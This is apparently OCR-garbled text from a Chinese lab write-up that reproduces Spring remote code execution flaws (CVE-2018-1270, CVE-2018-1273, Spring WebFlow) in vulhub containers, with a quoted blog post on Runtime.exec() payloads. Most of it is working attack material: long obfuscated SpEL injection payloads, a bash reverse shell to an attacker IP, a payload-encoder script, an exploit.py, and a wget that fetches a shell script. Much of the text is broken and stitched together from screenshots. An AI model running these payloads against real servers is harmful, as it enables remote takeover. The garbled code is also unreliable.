aracter).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(j
ava.lang.Character).toString(104)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).
toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.C
haracter).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(10
4)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Characte
r).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(109)).concat(T(java.lang.Character).toString(7@)).concat
(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString
(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Characte
r).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.la
ng.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat
(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(4
3)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).
toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.
Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T
(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(8
6)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).
toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.C
haracter).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(6
7)) .concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).
toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.
Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T
(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(7
7)) .concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).
toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.C
haracter).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T
(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(5
1)) .concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).
toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.C
haracter).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T
(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(6
5)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Characte
r).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lan
g.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat
(T(java.lang.Character).toStrina(79)).concat(T(iava.lana.Character).toStrina(6
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7)) .concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).
toString(119)).concat(T(java.lang.Character).toString(80@)).concat(T(java.lang.
Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T
(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(12
5)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Characte

r).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.la
ng.Character).toString(97)).concat(T(java.lang.Character).toString(115)).conca
t(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString
(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Characte

r).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lan
g.Character).toString(100)).concat(T(java.lang.Character).toString(125)).conca
t(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString
(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Characte
r).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.la
ng.Character).toString(104)).concat(T(java.lang.Character).toString(44)).conca
t(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString
(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=ope
nid&redirect_uri=http://test

@Jackson_T  java.lang.Runtime.exec() Payload Workarounds

Hello! I'm Jackson, and this is a place Mon 12 December 2016

for me to publish shareable thoughts.

Occasionally there are times when command execution payloads via

Runtine. getRuntine().exec() fail. This can happen when using web shells, deserialization ex-
ploits, o through other vectors.

Sometimes this is because redirection and pipe characters are used in a way that doesnit make
DarkTheme  SeNse in the context of the process that's being launched. For example, executing 1s >
dir_listing ina shell should output a listing of the current directory into a file called
dir_listing.Butin the context of the exec() function, that command would instead be inter-
preted to fetch the listings of the > and dir_listing directories

Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s *My Directory” would then be interpreted
as 1s *“My’ ‘Directory"’

With the help of Base64 encoding, the converter below can help reduce these issues. It can make
pipes and redirects great again through calls to Bash or PowerShell and it also ensures that there
aren't spaces within arguments.

Input type: @ Bash O Powershell O Python O Perl

bash -1 & /dev/tep/192. 168. 175. 130/8888 0>&1

bash -c {echo, TnFzaCAtaSA*J1AVZGV2L3R I cCBXOTIUMTT4L JESNS4xMzAvODEAOCARP 172} |
{basebd, -d} | {bash, -1}

#!/usr/bin/env python

import base64

HEATHAT
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Burp Project Intruder Repeater Window Help

[Dasnona | Taget | Py [ [ apamag] Seasencer | Decodr | Gomperr | Extendr | Pt opios [ userotions |

A ZAEBW X -SpringiBi& & 4

[ T2 -]

{SGoms) \SCRERN (wculma|
Request

Raw | Params | eadors | Hox |

Torgt sz 681752093000 7 (2)

PATCH /customers/1 HTTP/1 1
Host: 192.168.175 2098080
ncading. gzip, defiate
"

anguag
ent: Mozilla/5,0 (compatible; MSIE 9.0; Windaws NT6.1; Winé; x64; Trdents.0)

CantentTyps: application/json-patchjsan
Cantent-Length: 470

[
{op" "replace

Con

TType: applicationhalson;charsst=UTF-8
Date: Fri, 21 May 2021 04:43:03 GMT
Connection: close

Content-Length: 456

nested sxception is org

{"cause" ("cause":null ‘message":"ELI010E: Property o fied Tastname’ cannot be set on abject of type Java.lang.UNXPracess -
maybs not public?"), message”:"Cauld not read an objsct of typs class example.springdata.rest headers. Customar from the request!;
ELI010E: Propety or field lastname’ cannot be

expression. spel
sst on abject of typs java.lang UNIXProcess' - maybe not public?”}

3,101.99,104,111 44 89,109 70,122.97 6
85,118.79.68,103.5: 65,119,80,105.89,1

5182,106.99 67 56,120,79.84,73,117.7
45,100,125,124,123.98,97 115,104 44, 45,105,125}

489527
fast

s

1

° EEE e

Done

AIN2 5% shell

Omatches (D) <) (=] (5] [rwe a searcn t

0 matches

600 bytes | 384 mills

1 from localhost [192.168.17
rminal process group (1): Inappropria
in this shell

9] 166
ioctl for de

Spring Messaging ixfzan LHITRM (CVE2018-1270)

MRS

message =

A

https://forum.butian.net/share/502

input('Enter message to encode:')
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message = 'bash -c {echo,%s}|{base64,-d}|{bash,-i}"' % bytes.decode(base64.bode
ncode(message.encode('utf-8')))

$ sudo docker-compose up -d

[sudo] dayu RYZEHEL:
Creating network "cve-2018-1270_default" with the default driver
Pulling spring (vulhub/spring-messaging:5.8.4)...
5.0.4: Pulling from vulhub/spring-messaging
c73ab1c6897b: Already exists
1ab373b3deae: Already exists
b542772b4177: Already exists
Bbcc3741abl14: Already exists
421d624d778d: Already exists
26ad58237506: Already exists
8dbabc98b2b8: Already exists
982930be204d: Already exists
21d859451486: Pull complete
Digest: sha256:4fefd8c399958f2e77d733a675%e1e55483b8b778d6Tac88796dd96ffe67153e
Status: Downloaded newer image for wvulhub/spring-messaging:5.0.4
Creating cve-2018-1270_spring_1 ... I
: S

i S

& c @ O # 192.168.175.209:8080 ECRA Ex3 N @0 @ B *o08 =
WebSocket connection:  Connect Disconnect What is your name? Send
Greetings
N\
1519]
print(message)

o/ 192.168.175.209:8080/gs-gu X

&« C @ © & 192.168.175.209:8080/gs-guide-websocket - O W n @ @ B *08 =

1
Welcome to SockJS!

Poc

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toStrin

a(%s)' % ord(message[0])
https://forum.butian.net/share/502
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z

TIXEEHITIE AL Poc F+AEM

~/5H) - gedit (]

exploit.py

31 e}/htmlfilezc=_jp.vulhub

32 response .session.get(url, stream=
33 line i1 response.iter_lines():

34 time.sleep(

35

36 (<217, command, headers, body=""):
37 data = [command.upper(),

38

39 data.append( .join([f v headers. items()]))
40

41 data.append( )

42 data.append(body)

43 data. append(

4 data = json.dumps([''.join(data)])
45

46 response = .session.post(f

_send?t={self.t}", data=data)
response.status_code ==
fo( f c

66

67 destination':
68 1)

69

70 data = json.dumps({
71 sockjs.send("send”, {
7 length

Python3 v #I&H

— D REWER P
— P RREHHS

—REF

B *exploit.py (~/5H) - gedit™ root
*exploit.py

ase}/htmlfilezc=_jp.vulhub
response .session.get(url, stream=
line i1 response.it
time.sleep(

( , command, headers, body=
data = [command.upper(),
data.append(" " join([f headers. itens()]))
data.append( )
data. append(body)
data. append(
data = json.dumps([''.join(data)])
response = .session.post(f'{se

response.status_code ==
logging. info( f"send

_send?t={self.t}", data=data)

Logging. info(f"send

):
.session.close()

56 sockjs = SockJS('http://192.16¢
57 sockjs. start()

56 time.sleep(1)

59

ide-uebsocket|')

60 sockjs. send(’ connect
61 ept-

67 destination
68 1)
69

70 data = json.dumps({
kic cend('con.
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tent-length': len(data),
app/hello

Python3 v  f); 5617, 6475 A

connect' data success.
INFO:root:s¢ 'subscribe’ data
INFO:root:

% docker [EEEEHRITEEAIN

: $ sudo docker ps
[sudo] dayu HUZRED:
CONTAINER ID  IMAGE COMMAND CREATED STATUS PORTS NAMES
a95586daz542  vulhub/spring-messaging:5.0.4  "java -jar /websocke.” 14 minutes ago Up 14 minutes ©.0.6.0:8080->8080/tcp, :::8080->8680/tcp Cve-2018-1276_spring_:
$ sudo docker exec -ti a955 bash
2542: /¢ 1s_[tmp
ot |success | tomcat-docbase.5641345889074827419.8080 tomcat.5332931610211684380.8080

Poc-2 - 5% shell

for ch in message[1:]:
B ERTEZEZ NN
I java miBa9MUL

poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
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<« c @
@Jackson_T

Hello! I'm Jackson, and this is a place
for me to publish shareable thoughts.

About
Contact
Archives
Categories

Dark Theme

© & www.jackson-t.ca/runtime-exec-payloads.html B

java.lang.Runtime.exec() Payload Workarounds

Mon 12 December 2016

Occasionally there are times when command execution payloads via

Runtime.getRuntime().exec() fail. This can happen when using web shells, deserialization ex-
ploits, or through other vectors.

Sometimes this is because redirection and pipe characters are used in a way that doesn't make
sense in the context of the process that's being launched. For example, executing 1s >
dir_listing in a shell should output a listing of the current directory into a file called dir_list-
ing . Butin the context of the exec() function, that command would instead be interpreted to
fetch the listings of the > and dir_listing directories.

Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s "My Directory” would then be interpreted
as 1s '"My' 'Directory”’ .

With the help of Base64 encoding, the converter below can help reduce these issues. It can make

pipes and redirects great again through calls to Bash or PowerShell and it also ensures that there
aren't spaces within arguments.

Input type: @Bash O PowerShell CPython OPerl

bash -i >& /dev/tcp/192.168.175.130/8888 0>&1

bash -c {echo, YmFzaCAtaSA+JiAVZGV2L3R]jcCEBXOTTUMTY4L]E3NS4xMzAVODg40CAWRiYX} |
{base64,-d} | {bash, i}

“exploitLpy

1tmlfilezc=_jp.vulhub

response =

.session.get(url, stream=

line 1 response.iter_lines():
)

time.sleep(

, comnand, headers, body=""):

data = [command.upper(),

data.append(* ' join([f
data.append( )
data.append(body)
data.append(

k, v i1 headers.items()]))

)
data = json.dumps([''.join(data)])

response =
info(f"send

info(f"send

59
60 sockjs. send( ' connect”, {
61 ept.

62 e
63})

64 sockjs. send(
65 s

70 data = json.dumps({'na
71 sockjs.send('send", {
b2) content-le (data),
p/hello

https://forum.butian.net/share/502

.session.post(f'{s se}/xhr_s self.t
response.status_code ==

vulhub'})

, data=data)

. @

Python3 +

RS

& 54%

a G

"
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AT poc

INFO:root:send
INFO:root:send
INFO:root:send

~/ R

AUINEE 258 shell

listening on e

connect to [1 ] from localhost [192.1 75.209] 49

bash: cannot se rminal p ess group (1): appre e ioctl r device
bash: no job ntrol in this shell

root@ag5586da: S8 id

Spring Data Commons iZf28s L 1Ti%E (CVE-2018-1273)

MR

print(poc)

R

https://forum.butian.net/share/502
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A ZAEBW X -SpringiBi& & 4

http://192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Ch
aracter).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(j
ava.lang.Character).toString(104)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).
toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.C
haracter).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(10
4)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Characte
r).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat
(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString
(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Characte
r).toString(65)).concat(T(java.lang.Character).toString(120)).concat(T(java.la
ng.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat
(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(l
17)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Characte
r).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat
(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString
(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Characte
r).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat
(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(l
22)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Characte
r).toString(54)).concat(T(java.lang.Character).toString(79)).concat(T(java.lan
g.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat
(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(?7
9)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).
toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.
Character).toString(90)).concat(T(java.lang.Character).toString(67)).concat(T
(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(10
5)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).
toString(67)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.
Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T
(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(8
1)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Characte
r).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lan
g.Character).toString(86)).concat(T(java.lang.Character).toString(48)).concat
(T(java.lana.Character).toStrina(89)).concat(T(iava.lana.Character).toStrina(l
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o _ ) . é?ﬁﬂ%ﬁg§@@@ﬁﬁ 3 ) .
21)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Characte

r).toString(119)).concat(T(java.lang.Character).toString(89)).concat(T(java.la
ng.Character).toString(88)).concat(T(java.lang.Character).toString(78)).concat
(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString

(100)) .concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Characte
r).toString(81)).concat(T(java.lang.Character).toString(112)).concat(T(java.la
ng.Character).toString(73)).concat(T(java.lang.Character).toString(105)).conca
t(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString

(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Characte

r).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.l
ang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).conca
t(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString
(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Characte
r).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lan
g.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat
(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString
(124)) .concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Charact
er).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.la
ng.Character).toString(115)).concat(T(java.lang.Character).toString(104)).conc
at(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString
(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Characte
r).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

B $ sudo docker-compose up -d
Creating network "cve-2018-1273_default" with the default driver

Pulling spring (vulhub/spring-data-commons:2.0.5)...

2.0.5: Pulling from vulhub/spring-data-commons

c73ab1c6897b: Already exists

1lab373b3deae: Already exists

b542772b4177: Already exists

Obcc3741ab14: Already exists

421d624d778d: Already exists

26ad58237506: Already exists

8dbabc96b2b8: Already exists

982930be204d: Already exists

20acb7d1270b: Pull complete

Digest: sha256:cf842a4d075d1cef8b9ba98382000ff829cO3f0a233cf2c4407afc21fea8fe79
Status: Downloaded newer image for vulhub/spring-data-commons:2.0.5

Creating cve-2018-1273_spring_1 ...

s
mEgEMm
il

Spring WebFlow 2.4.0 - 2.4.4

& c @ ©  # 192.168.175.209:8080/users . @ s n oo B *o@ -

Users
1 2 3 4 5 6 7 8 9 »

1. user0 - $2a$10$nqo0asAtCSFMP1txZjncqeHCB3rdyqsM32000Z2MIWE/pF ToNwmxe
2. user1 - $2a$10$9ZrNAqCnu/LiinOn5RcDePxazysYsO0I.n54BnpJNPiqgSzOY2JG

3. user2 - $2a$10$hliVSc3m4T.1px9RUNV0.eCn3TEFpt30gHZSZtimB9tio1k2510IC

4. User3 - $2a$10$rbuK1CBVG2JyyWzHyl9/e28g40jaPCrgVIyStrtcLxukoGAWUMIW

5. userd - $2a$10$GNMKBYOAUIWBSY 3rReKnet 6t322JMDODFP5TbUCKhO

Username

Password
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Password (repeated)

Register user

i g I

HATIMNE

Burp Suite Professional v2.0beta - Temporary Project - licensed to surfenxyz
Burp Praject Infruder Repeater Window Help

{Dashlzaarcl 1 l Proxy \ Intruder { Repeater } Sequencer 1 Decoder 1 Comparer \ Extender \ Project aptions l User aptions 1

1.
m Cancel || €|V || 2|

Request Response
Raw | Params | Headers | Hex Raw
POST users?page=tasize=a HTTP/1.1 :

Host: 192,188, 175.209:8080

User-Agent: Mozilla/s.0 (Windows NT 10.0; Winbd; x64; rv88.0) Gecko/20100101
Firefox/88.0

Accept: text/html application/xtml+xml application/xml 5=0.9 imagefwebp,*;¢=0.8
Accept-Language: zh-CN zh 0=0.8 zh-TW,q=0.7 2h-HI;0=05 en-US, =03 en; =0 2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 40

Origin: http://192.188.175.209-8080

Connection: close

Referer. fitp://192.168.175.209:8080/users

Upgradz-Insecure-Requests: 1

username=1&password=18repeatecPassword=1

Poc

1.MvcViewFactoryCreator®i%#y useSpringBeanBindingS M EZIZE N false (TAIAE)

Torgt hipt52.1681752098080 7 (2)
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User-Agant: Mozilla/s.0 (Windows NT 10.0; WinBd; »64; rv88.0) Geckor20100101

Firefox/88.0
Accapt: texthiml, 0.9 imageiwebp /=08
Accept-Language: 2h-CN2hg=0.8 2h-TW:q=0.7 2h-HK!G=0.5 en-US;=0 3.n=0.2

Accept-Encoding gz, deflate
Content-Type: application/x-ww-form-urlencoded
Content-Length: 121

Origin: itp//192.168.175,20%:8080

Connection: close

Referer: hitp: /1

lusemame#his. gtClass().forName('java.lang. Runtime). getRuntime(.exec (‘touch
/tmp/3001°)|=& password=ArzpeatedPassword=

MAT a0 Fel

CONTAINER ID IMAGE
149faabdefds  vulhub/spring-data-commons:2.0.5
1

root@149faabdefds:/# s /tmp

A ZAEBW X -SpringiBi& & 4

Cantent-Languags: zh-CN

Cantent Length: 457

Date: Sat, 22 May 2021 01:48:28 GMT
Cannection: close

<html><body><h1>Whitelabel Error Page</hi><p>This application has no explicit mapping for /error, 5o you are seeing this as a fallback.</p><div id="created>Sat May 22 01:48:28 UTC 2021</div><div>There
‘was an unexpected error (ty I b.$Proxy91]: Getter for property &#39;usernames#39; threw
exception; nested excepti

ternal Server Error, status=500).. id property of bean cl
X i i dy></tmi>

Te] L docker [ REE— T

$ sudo docker ps

(DMMANB CREATED STATUS PORTS NAMES
"java -Djava.securit.” 6 minutes ago Up 6 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp  cve-2018-1273_spring_

$ sudo docker exec -ti 149f bash

3001 | hsperfdata_root tomcat-docbase.8266077945268286357.8080 tomcat.928085325535211188.8080

root@149faabdofds: /#

Poc-2 - 5% shell

bash &o98—10)1E

python /3 http AR5

~/ S|l
impleHTTPS

E1%Z sh filAR

2.flow viewsdZ%1&E BinderConfigurationiis b=

HATIAIT

! Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Froxy | ntrder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options

Jowl- )

Go <|r v
Request

Raw | Params | eadors | x|

Torgo hp152.168.175209080 2 (2)

nse
Headers | Hex | HTWL | Render

POST /usars?pags=&siza=5 HTTR/I.1
Host: 192.168.175.209.8080
User-Agant: Mozilla/s.0 (Windows NT 10.0; WinBd: »64; rv88.0) Gecko/20100101

https://forum.butian.net/share/502

2 textihtml;charset=ISO-8
Cantent.Languags: zh-CN
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Firefox/88.0
Accspt; text/himl, 99, abp
anguags: 2h-CN.zh;g=0.8 ZhTW.g=0.7 zhHI< 5=0.5,en-US =
ncoding: gzip, defiats

Cantent Type: application/x-www-form-urlencoded
CantentLength: 170

Origin: htp://192.168.175.209:8080 exception; nested exception is java.

# ZAFIG X -Sprin

251

<html><body><h1>Whitelabel Error Page</hi><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div
‘was an unexpected error (type=Internal Server Error, status=500).

Ea

May 22 01:53:39 UTC

id property

Cannection: closs
Referer: htp://12.168.175.209.8080/users
Upgrade-Insscure-Requests: 1

1Class().forNams(’java.lang Runtime").getRuntims

“fusilbinwge
-0 Amp/a002
Iitp://192.168.175.130.9999/shell

SRIEHEEE docker [REE— N

EIPS=E1amEPN

dy></htmi>

root@l49taabdefds: /# cat /tmp/fadB2

bash -i >& /dev/tcp/192.168.175.130/8888

of bean class [ I b.$Proxyd1]: property. threw

0=&1

root@l49faabdafds: /#

AIEHATIAT sh Bl
cd vulhub-master/spring/CVE-2017-4971

I Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project Intuder Repeater Window Help

Dashboard | Target | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options

Jowl-)

Go <l
Request

Response

[ [ )

Torgt p152.168.175209080 2 (2)

POST fusers?page=&size=5 HTTP/1.1
Host: 192,16

(o Hedors | Fen [ vt nir |
o o

Cantent Typa: text/himl;charset=IS0-8859-1
Cantent Language: zh-CN

Cantent-Length: 497

Date: Sat, 22 May 2021 01:56:50 GMT
Cannaction: close

(Windows NT 10.0; Win4; x64; rv88.0) Geckor20100101

texthtml application/htm+xmi, application/xml;q=0.9 image/wel
Accspt-Languags: zh-CN,zh;q=0.8 20 TW.q=0.7 2h-HIG ¢=0.5,en-US;q=0 3 a7
A ncoding: gzip, deflate

CantentType: application/x-wwiw-form-urlencoded

xpected error

id property

<htmi><bady><h1>Whitelabel Error Page</hi><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><dis

May 22 01:56:50 UTC

internal Server Error, status=500).<!:
B y

on; nested excepti

Referer: htp.//192.168.175.209.8080/usrs
Upgrade-Insecure-Requests: 1

lusemame#his.getClass().forName('java lang Runtime") getRuntime() exec bin/bash
mp/a002') =& password=SrepeatedPassword=

PINEEI 258 shell

®

175.1
can : minal
in this s

alhost [

bash: oup (1):

—_ 4

https://forum.butian.net/share/502

NI e —

A Al s AT

192.16 )
Inappropria

=

of bean b.$Proxy91]: Getter for property &39;username8#39; threw

ioctl for device
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7 W ZAEB LK -SpringiB % £ 4
Spring AR EERY © “1alby, OalE

sudo docker-compose up -d

=

Hrhpg spring framework 2 AR B BI22I8 spring, X2EF1A spring B &E

FasRAVAY

NEREZE, HBS spring mve. springboot. spring core. 10C 1 AOP %2

Spring mve ®iE spring 9—"1 MVC 1EZR, FEZBAFFF & web AN 1%
O, BEREFRZAISERE ARSI xml X, HIENI

FTUAHEL springboot, HEAE tomcat HFEABEEIAN XML BEEEE, MMAE
TRFPIER, TEFMENERI 712 Ex R

spring security FERZARMEN, RIELZE RN

Spring Cloud &+ Spring Boot, &1 T oM ASNF L, M T RS A, B
BEEIE. BRE%. NEhE. Migss. PUERIEESIMIRSAEENED
spring FIEFBMNPEZENERRS, D52

http://192.168.175.209:8080/1ogin
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